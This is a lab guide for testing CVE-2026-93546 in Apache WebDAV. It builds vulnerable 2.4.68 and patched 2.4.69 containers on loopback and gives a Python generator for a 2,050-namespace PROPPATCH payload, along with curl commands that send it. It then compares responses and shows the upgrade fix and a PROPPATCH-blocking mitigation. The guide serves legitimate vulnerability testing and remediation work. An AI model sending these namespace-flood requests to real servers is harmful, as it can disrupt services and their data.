# CVE-2026-93546 Lab Test Guide

Identification and controlled exploitation comparison

**Purpose.** This guide gives a copy-and-paste sequence for checking the two local Apache WebDAV containers and comparing how they handle a controlled 2,050-namespace PROPPATCH request.

**Current result** The vulnerable Apache 2.4.68 container returned an outer HTTP 207 for the 2,050-namespace request, but the earlier screenshot did not show its per-property statuses. The patched Apache 2.4.69 container returned per-property 413 responses. A separate 65,536-namespace attempt ended with an empty reply, but the baseline property remained readable; persistent property-database corruption was not confirmed.

**Controlled rerun scope** The sequence uses a fresh test folder in each container and saves response bodies to files. It does not restart or remove containers and does not resend the 65,536-namespace request. PROPPATCH is a write operation, so this is a controlled lab test rather than a read-only check; no test can guarantee zero disruption.

## Before you start

- Use the same Kali VM for all steps. Terminal A runs or observes the targets; Terminal B sends the test commands and retains RUN_ID from Step 6.
- The two Docker containers should already be running: cve93546-webdav on 127.0.0.1:8080 and cve93546-patched on 127.0.0.1:8081.
- The WebDAV account is cveuser. curl prompts for its password; enter it at each prompt. Do not put the password directly in a command.
- If the containers are not yet built, complete Part 0 in Terminal A. If they already exist, begin with the Terminal B checks. Do not modify containers outside this local lab.

## Part 0  Kali VM Docker target setup

Use Terminal A in the Kali VM for the target containers. Use Terminal B in the same Kali VM for testing. All target ports bind only to 127.0.0.1.

### Step 0  Install Docker and create the local lab

**What this does.** Installs the packages used in the supplied setup guide, creates an isolated folder, and creates Basic-auth credentials without exposing the password on the command line.

```
sudo apt update
sudo apt install -y docker.io curl apache2-utils python3
sudo systemctl enable --now docker
sudo docker run --rm hello-world

mkdir -p ~/labs/cve-2026-93546
cd ~/labs/cve-2026-93546
htpasswd -cB .htpasswd cveuser
chmod 644 .htpasswd
```

**Expected output.** Docker completes the hello-world message. htpasswd prompts twice for a disposable password. Do not use a real password.

### Step 1  Create the WebDAV configuration and Dockerfile

**What this does.** Enables authenticated WebDAV. The Dockerfile uses a build argument so it can produce both Apache 2.4.68 and the patched 2.4.69 image.

```
cat > webdav.conf <<'EOF'
ServerName localhost
DavLockDB "/usr/local/apache2/var/DavLock"

Alias /webdav /usr/local/apache2/htdocs/webdav

<Directory "/usr/local/apache2/htdocs/webdav">
   Options None
   AllowOverride None
   AuthType Basic
   AuthName "CVE-2026-93546 Lab"
   AuthUserFile "/usr/local/apache2/conf/.htpasswd"
   Require valid-user
   Dav On
</Directory>
EOF

cat > Dockerfile <<'EOF'
ARG HTTPD_VERSION=2.4.68
FROM httpd:${HTTPD_VERSION}

RUN sed -ri \
    -e 's/^#(LoadModule dav_module modules\/mod_dav\.so)/\1/' \
    -e 's/^#(LoadModule dav_fs_module modules\/mod_dav_fs\.so)/\1/' \
    -e 's/^#(LoadModule dav_lock_module modules\/mod_dav_lock\.so)/\1/' \
    -e 's/^#(LoadModule authn_file_module modules\/mod_authn_file\.so)/\1/' \
    -e 's/^#(LoadModule auth_basic_module modules\/mod_auth_basic\.so)/\1/' \
    -e 's/^#(LoadModule authz_user_module modules\/mod_authz_user\.so)/\1/' \
    conf/httpd.conf \
   && mkdir -p /usr/local/apache2/var /usr/local/apache2/htdocs/webdav \
   && chown -R daemon:daemon /usr/local/apache2/var /usr/local/apache2/htdocs/webdav

COPY .htpasswd /usr/local/apache2/conf/.htpasswd
COPY webdav.conf /usr/local/apache2/conf/extra/webdav.conf
RUN printf '\nInclude conf/extra/webdav.conf\n' >> conf/httpd.conf
EOF
```

**Expected output.** webdav.conf and Dockerfile are created in ~/labs/cve-2026-93546. No server is started yet.

## Step 2  Build and start both comparison targets

**What this does.** Builds Apache 2.4.68 on port 8080 and Apache 2.4.69 on port 8081. Separate volumes prevent the containers from sharing a property database.

```
sudo docker build --build-arg HTTPD_VERSION=2.4.68 -t cve93546-httpd:2.4.68 .
sudo docker build --build-arg HTTPD_VERSION=2.4.69 -t cve93546-httpd:2.4.69 .

sudo docker volume create cve93546-webdav-data
sudo docker volume create cve93546-patched-data

sudo docker run -d --name cve93546-webdav \
  -p 127.0.0.1:8080:80 \
  -v cve93546-webdav-data:/usr/local/apache2/htdocs/webdav \
  cve93546-httpd:2.4.68

sudo docker run -d --name cve93546-patched \
  -p 127.0.0.1:8081:80 \
  -v cve93546-patched-data:/usr/local/apache2/htdocs/webdav \
  cve93546-httpd:2.4.69

sudo docker ps --filter name=cve93546 --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}'
```

**Expected output.** Both containers show Up. The target ports are 127.0.0.1:8080->80/tcp and 127.0.0.1:8081->80/tcp. Do not change the loopback bindings.

### Step 3  Observe the targets in Terminal A

```
sudo docker logs -f cve93546-webdav
# Open another Terminal A tab for the patched target if desired:
sudo docker logs -f cve93546-patched
```

## Terminal B  Target checks before testing

Run these commands in a second terminal inside the same Kali VM. They match the report's version and WebDAV capability evidence.

```
cd ~/labs/cve-2026-93546

for name in cve93546-webdav cve93546-patched; do
  echo "--- $name ---"
  sudo docker exec "$name" httpd -v | head -n 1
done

curl -i -u cveuser -X OPTIONS http://127.0.0.1:8080/webdav/
```

**Expected output.** The containers report Apache/2.4.68 and Apache/2.4.69 respectively. OPTIONS returns HTTP/1.1 200 OK and DAV: 1,2. curl prompts for the password.

### Prepare the baseline property

**What this does.** Writes the harmless baseline property that the later PROPFIND command reads. This prevents an empty new WebDAV folder from producing a per-property 404.

```
cat > baseline-set.xml <<'EOF'
<?xml version="1.0" encoding="utf-8"?>
<D:propertyupdate xmlns:D="DAV:" xmlns:ns1="urn:lab:baseline">
  <D:set><D:prop><ns1:baseline>ok</ns1:baseline></D:prop></D:set>
</D:propertyupdate>
EOF

curl -sS -u cveuser \
  -H 'Content-Type: application/xml' \
  -X PROPPATCH \
  --data-binary @baseline-set.xml \
  -o baseline-set-result.xml \
  -w 'Baseline set HTTP %{http_code} | %{time_total}s\n' \
  http://127.0.0.1:8080/webdav/
```

**Expected output.** Baseline set HTTP 207. The later baseline read should contain the value ok and a property-level HTTP/1.1 200 OK.

## Part 1  Identification and baseline

### Step 1  Check container status and ports

**What this does.** Lists matching containers, whether they are running, and their published ports.

```
sudo docker ps --filter name=cve93546 --format 'table {{.Names}}\t{{.Status}}\t{{.Ports}}'
```

**Expected output.** Both names should appear with status Up. The vulnerable container should publish 127.0.0.1:8080->80/tcp; the patched container should publish 127.0.0.1:8081->80/tcp.

**Note.** If a container is absent or stopped, do not continue with requests to its port.

### Step 2 Confirm Apache versions

**What this does.** Reads the Apache version from inside each running container.

```
for name in cve93546-webdav cve93546-patched; do
  echo "--- $name ---"
  sudo docker exec "$name" httpd -v | head -n 1
done
```

**Expected output.** cve93546-webdav should report Server version: Apache/2.4.68 (Unix). cve93546-patched should report Server version: Apache/2.4.69 (Unix).

**Note.** Your existing version screenshot already records this comparison.

### Step 3 Create a baseline PROPFIND request

**What this does.** Writes a small XML request asking WebDAV to return the existing urn:lab:baseline property. Creating this local request file does not change the server.

```
cd ~/labs/cve-2026-93546

cat > baseline-read.xml <<'EOF'
<D:propfind xmlns:D="DAV:" xmlns:lab="urn:lab:baseline">
  <D:prop><lab:baseline/></D:prop>
</D:propfind>
EOF
```

**Expected output.** The command returns to the shell prompt without an error. The file baseline-read.xml is created in the lab directory.

### Step 4 Read the baseline property

**What this does.** Sends the read-only PROPFIND request to the vulnerable container, saves the XML response, and prints only the HTTP result and baseline value.

```
curl -sS -u cveuser \
  -H 'Depth: 0' \
  -H 'Content-Type: application/xml' \
  -X PROPFIND \
  --data-binary @baseline-read.xml \
  -o vulnerable-baseline.xml \
  -w 'HTTP %{http_code} | %{time_total}s\n' \
  http://127.0.0.1:8080/webdav/

grep -E 'HTTP/1\.1|<ns1:baseline>' vulnerable-baseline.xml
```

**Expected output.** curl prompts for the cveuser password. Expected outer status: HTTP 207. The response should include <ns1:baseline>ok</ns1:baseline> and a property status of HTTP/1.1 200 OK. The XML prefix may differ, but the value should be ok.

**Note.** This is a read-only check. Your existing screenshot already shows the baseline remained readable after the large request.

**Evidence.** Screenshot 10: baseline property check.

## Part 2 Controlled namespace comparison

**Interpretation** A 207 Multi-Status is the outer WebDAV response. The individual properties have their own statuses inside the XML. The useful comparison is the per-property status summary, not the outer 207 alone.

## Step 5 Generate the 2,050-namespace XML payload

**What this does.** Creates a modest test document with 2,050 distinct XML namespaces. It is saved locally and is not sent until the later PROPPATCH steps.

```
cd ~/labs/cve-2026-93546

python3 - <<'PY'
count = 2050
with open("namespace-2050.xml", "w", encoding="utf-8") as f:
  f.write('<?xml version="1.0" encoding="utf-8"?>\n')
  f.write('<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>\n')
  for i in range(count):
    f.write(f'<p:item xmlns:p="urn:lab:ns2050:{i}">v</p:item>\n')
  f.write('</D:prop></D:set></D:propertyupdate>\n')
print(f"Generated {count} distinct namespace properties.")
PY
```

**Expected output.** Generated 2050 distinct namespace properties. The file namespace-2050.xml is about 100 KB.

## Step 6 Set a unique test folder name

**What this does.** Creates a timestamped folder name. Both containers will use the same name so their results can be compared. Keep this terminal open so RUN_ID remains defined.

```
RUN_ID="ns-demo-$(date +%Y%m%d-%H%M%S)"
echo "$RUN_ID"
```

**Expected output.** A name similar to ns-demo-20261104-154500 is printed. The exact timestamp will vary.

**Note.** If you open a new terminal, set RUN_ID again before continuing. Use a new RUN_ID for each fresh run.

## Step 7 Create isolated WebDAV test folders

**What this does.** Creates the new test folder inside each container and assigns it to that container's Apache account. This keeps the comparison away from the existing baseline directory.

```
sudo docker exec -u 0 cve93546-webdav sh -c \
 "mkdir -p /usr/local/apache2/htdocs/webdav/$RUN_ID && chown daemon:daemon /usr/local/apache2/htdocs/webdav/$RUN_ID"

sudo docker exec -u 0 cve93546-patched sh -c \
 "mkdir -p /usr/local/apache2/htdocs/webdav/$RUN_ID && chown daemon:daemon /usr/local/apache2/htdocs/webdav/$RUN_ID"
```

**Expected output.** Both commands return without output or error. The new folders exist under /usr/local/apache2/htdocs/webdav in their respective containers.

**Note.** This step changes only the new folders. Do not substitute the existing webdav root path for $RUN_ID.

## Step 8 Send PROPPATCH to Apache 2.4.68

**What this does.** Sends the 2,050-namespace request to the isolated folder on the vulnerable container. The response body is saved to an XML file instead of being printed in full.

```
curl -sS -u cveuser \
 -H 'Content-Type: application/xml' \
 -X PROPPATCH \
 --data-binary @namespace-2050.xml \
 -o "vulnerable-${RUN_ID}.xml" \
 -w 'Vulnerable outer HTTP %{http_code} | uploaded %{size_upload} bytes | %{time_total}s\n' \
 "http://127.0.0.1:8080/webdav/${RUN_ID}/"
```

**Expected output.** curl prompts for the cveuser password. The earlier run showed outer HTTP 207, which is only the Multi-Status wrapper. Inspect the saved response body in Step 9 to determine whether properties were accepted or rejected.

**Note.** This is a write to the newly created test folder. It is not the 65,536-namespace impact attempt.

### Step 9 Summarize the vulnerable response

**What this does.** Counts each distinct property-level HTTP status in the saved XML, avoiding thousands of repeated lines in the terminal.

```
grep -oE 'HTTP/1\.1 [0-9]{3}[^<]*' "vulnerable-${RUN_ID}.xml" | sort | uniq -c
```

**Expected output.** The earlier screenshot showed outer 207 and upload size only; it did not show property-level statuses. This command reveals whether the response contains 200 OK or error statuses. Do not infer property acceptance from outer 207 alone. The output should be short because identical lines are grouped.

### Step 10 Send the same PROPPATCH to Apache 2.4.69

**What this does.** Sends the identical payload to the isolated folder on the patched container and saves the response for a concise summary.

```
curl -sS -u cveuser \
  -H 'Content-Type: application/xml' \
  -X PROPPATCH \
  --data-binary @namespace-2050.xml \
  -o "patched-${RUN_ID}.xml" \
  -w 'Patched outer HTTP %{http_code} | uploaded %{size_upload} bytes | %{time_total}s\n' \
  "http://127.0.0.1:8081/webdav/${RUN_ID}/"
```

**Expected output.** curl prompts for the cveuser password. The outer response may be HTTP 207 because WebDAV returns a Multi-Status document containing the individual property results.

### Step 11 Summarize patched property results and recheck containers

**What this does.** Counts property-level statuses and confirms neither container stopped during the controlled comparison.

```
grep -oE 'HTTP/1\.1 [0-9]{3}[^<]*' "patched-${RUN_ID}.xml" | sort | uniq -c

sudo docker ps --filter name=cve93546 --format 'table {{.Names}}\t{{.Status}}'
```

**Expected output.** For the patched test, expect repeated per-property HTTP/1.1 413 responses, with the response description “Too many distinct namespaces in property database.” The final Docker list should show both containers Up.

**Note.** If output differs, keep the response XML files for review rather than sending the payload again to the same directory.

**Evidence.** Screenshot 12: outer results, summarized property statuses, and both containers Up.

## Part 3 Remediation, mitigation and troubleshooting

Apache 2.4.69 is the permanent remediation. The affected path is through Apache 2.4.68; the vendor lists 2.4.69 as fixed. Repeat the same bounded payload against the patched target and retain the XML result.

### Step 12 Verify the successful Apache 2.4.69 fix

```
sudo docker exec cve93546-patched httpd -v

curl -sS -u cveuser --connect-timeout 5 --max-time 30 \
  -H 'Content-Type: application/xml' \
  -X PROPPATCH \
  --data-binary @namespace-2050.xml \
  -o "patched-${RUN_ID}.xml" \
  -w 'Patched outer HTTP %{http_code} | uploaded %{size_upload} bytes | %{time_total}s\n' \
  "http://127.0.0.1:8081/webdav/${RUN_ID}/"

grep -oE 'HTTP/1\.1 [0-9]{3}[^<]*' "patched-${RUN_ID}.xml" | sort | uniq -c
sudo docker ps --filter name=cve93546 --format 'table {{.Names}}\t{{.Status}}'
```

**Expected output.** The version is Apache/2.4.69. The outer response may remain 207 Multi-Status, while the response XML shows property-level HTTP/1.1 413 Request Entity Too Large entries. The supplied report records the reason Too many distinct namespaces in property database. Both containers remain Up.

**Brief explanation:** The Apache 2.4.69 patched target received the controlled 2,050-namespace PROPPATCH request and returned property-level HTTP 413 responses for all 2,050 entries. Both containers remained operational. This demonstrates that the patched version rejects the excessive namespace input safely.

### Step 13: Demonstrate temporary configuration mitigation

This is not remediation. It blocks PROPPATCH, including legitimate dead-property updates, while retaining authenticated PROPFIND.

```
cat > webdav-mitigated.conf <<'EOF'
ServerName localhost
DavLockDB "/usr/local/apache2/var/DavLock"
Alias /webdav /usr/local/apache2/htdocs/webdav

<Directory "/usr/local/apache2/htdocs/webdav">
   Options None
   AllowOverride None
   AuthType Basic
   AuthName "CVE-2026-93546 Lab"
   AuthUserFile "/usr/local/apache2/conf/.htpasswd"
   Require valid-user
   Dav On
   <Limit PROPPATCH>
      Require all denied
   </Limit>
</Directory>
EOF

cat > Dockerfile.mitigated <<'EOF'
FROM cve93546-httpd:2.4.68
COPY webdav-mitigated.conf /usr/local/apache2/conf/extra/webdav-mitigated.conf
RUN sed -i 's|Include conf/extra/webdav.conf|Include conf/extra/webdav-mitigated.conf|' \
   /usr/local/apache2/conf/httpd.conf
EOF

sudo docker build -f Dockerfile.mitigated -t cve93546-httpd:2.4.68-mitigated .
sudo docker volume create cve93546-mitigated-data
sudo docker run -d --name cve93546-mitigated \
 -p 127.0.0.1:8082:80 \
 -v cve93546-mitigated-data:/usr/local/apache2/htdocs/webdav \
 cve93546-httpd:2.4.68-mitigated

curl -sS -u cveuser -H 'Depth: 0' -X PROPFIND \
 -o /dev/null -w 'Mitigation read HTTP %{http_code}\n' \
 http://127.0.0.1:8082/webdav/

curl -sS -u cveuser -H 'Content-Type: application/xml' -X PROPPATCH \
 --data-binary @namespace-2050.xml -o /dev/null \
 -w 'Mitigation PROPPATCH HTTP %{http_code}\n' \
 http://127.0.0.1:8082/webdav/
```

**Expected output.** The normal PROPFIND is 207 and the blocked PROPPATCH is 403. Record this as mitigation only; upgrading to 2.4.69 is the successful remediation.

**Brief explanation**: The mitigation target retained normal authenticated WebDAV read access, demonstrated by HTTP 207 for PROPFIND. However, it returned HTTP 403 for PROPPATCH because the configuration explicitly denies that method. This prevents the namespace payload from reaching mod_dav_fs.

# Troubleshooting

### Docker permission denied

Use sudo consistently. Mixing sudo and non-sudo commands can leave evidence files root-owned.

### HTTP 401 unauthorized

The .htpasswd file is copied into each image at build time. Recreate it with htpasswd -cB .htpasswd cveuser, rebuild the relevant image, and recreate only the local lab container.

### HTTP 404 or no DAV header

```
sudo docker exec cve93546-webdav httpd -t
sudo docker exec cve93546-webdav httpd -M | grep -E 'dav|auth'
sudo docker logs cve93546-webdav
```

Use the exact endpoint /webdav/. A valid OPTIONS response lists DAV: 1,2.

### Patched target does not show 413

Confirm the running binary is 2.4.69, regenerate namespace-2050.xml with unique namespace URIs, and use a fresh RUN_ID. Inspect the saved XML because an outer 207 alone is not the property-level result.

# What the evidence supports

- Identification: the WebDAV target is Apache 2.4.68; the comparison container runs Apache 2.4.69.
- Controlled comparison: the earlier 2.4.68 run returned outer 207, but its property-level statuses were not shown in the screenshot. Inspect Step 9 output before claiming the properties were accepted. The 2.4.69 response showed per-property 413 errors.
- Impact limitation: the earlier 65,536-namespace request ended with an empty reply. The baseline property was still readable afterwards, so persistent property-database corruption was not confirmed.
- Do not describe the 2,050-namespace comparison alone as proof of database corruption or worker-process crash. Report only the statuses and effects you observed.

# Sources

**Apache HTTP Server 2.4 vulnerabilities:** https://httpd.apache.org/security/vulnerabilities_24.html?cve=title

**CVE record:** https://www.cve.org/CVERecord?id=CVE-2026-93546